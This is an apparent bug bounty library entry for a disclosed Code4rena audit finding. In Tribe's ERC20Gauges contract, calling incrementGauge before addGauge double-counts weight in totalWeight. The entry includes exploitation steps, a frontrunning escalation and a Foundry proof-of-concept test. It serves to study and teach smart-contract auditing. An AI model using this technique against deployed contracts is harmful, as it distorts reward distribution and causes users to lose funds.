# In ERC20Gauges, contribution to total weight is double-counted when incrementGauge is called before addGauge for a given gauge.

ERC20Gauges allows incrementGauge on a never-added gauge, double-counting its weight in totalWeight and diluting reward allocations.

- Payout: Audit contest
- Severity: medium
- Program: Tribe
- Found by: smilingheretic_
- Disclosed: 2022-07-14
- Write-up quality: 6/10
- Original: https://code4rena.com/reports/2022-04-xtribe#m-04
- Library page: https://bugbountylibrary.com/r/c4%3A2022-04-xtribe%3AM-04
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** ERC20Gauges.sol gauge weight accounting
**Root cause:** incrementGauge only checks !_deprecatedGauges.contains(gauge) rather than requiring the gauge to be added, so weight is counted in _incrementUserAndGlobalWeights and again when addGauge later adds it.
**Steps:**
1. Mint tokens and setMaxGauges(2); addGauge(gauge1).
2. Call `incrementGauge(gauge1, 1e18)` then `incrementGauge(gauge2, 1e18)` on a gauge never added; both succeed.
3. Call `addGauge(gauge2)` afterwards, adding its weight a second time.
4. Warp 3600s; `totalWeight()` returns 3e18 instead of expected 2e18.
5. Further `incrementGauge(gauge2, 2e18)` and warp 7200s; totalWeight() returns 5e18 instead of 4e18, and calculateGaugeAllocation splits 125e18 as 25e18/75e18.
**How found:** Noticed the incrementGauge guard only excludes deprecated gauges, then tested calling incrementGauge on a gauge before addGauge and observed totalWeight double-counting.
**Exploitation:** Permissionless incrementGauge can be called on an unadded gauge, or frontrun an admin's addGauge, inflating totalWeight; downstream reward contracts using calculateGaugeAllocation as denominator underpay all gauges and leave undistributed leftovers.
**Escalation:** Frontrunning the admin's addGauge call with incrementGauge to corrupt weight state permissionlessly.
**Insight:** When a permissionless increment/decrement function guards only against a 'deprecated' set, check whether it also requires membership in the 'active' set; ordering between permissionless weight updates and admin registration calls is a classic double-count vector.

## Proof of concept (copied exactly from the original report)

**Foundry test proving double-counted total weight**

```
function testExploit() public {
 token.mint(address(this), 100e18);

 token.setMaxGauges(2);
 token.addGauge(gauge1);

 require(token.incrementGauge(gauge1, 1e18) == 1e18);
 require(token.incrementGauge(gauge2, 1e18) == 2e18);
 
 // gauge added after incrementing...
 token.addGauge(gauge2);

 hevm.warp(3600); // warp 1 hour to store changes
 require(token.calculateGaugeAllocation(gauge1, 150e18) == 50e18);
 require(token.calculateGaugeAllocation(gauge2, 150e18) == 50e18);

 // expected value would be 2e18
 require(token.totalWeight() == 3e18);

 require(token.incrementGauge(gauge2, 2e18) == 4e18);

 // ensure updates don't propagate until stored
 require(token.calculateGaugeAllocation(gauge1, 150e18) == 50e18);
 require(token.calculateGaugeAllocation(gauge2, 150e18) == 50e18);

 hevm.warp(7200); // warp another hour to store changes again
 require(token.calculateGaugeAllocation(gauge1, 125e18) == 25e18);
 require(token.calculateGaugeAllocation(gauge2, 125e18) == 75e18);
 
 // expected value would be 4e18
 require(token.totalWeight() == 5e18);
 }
```

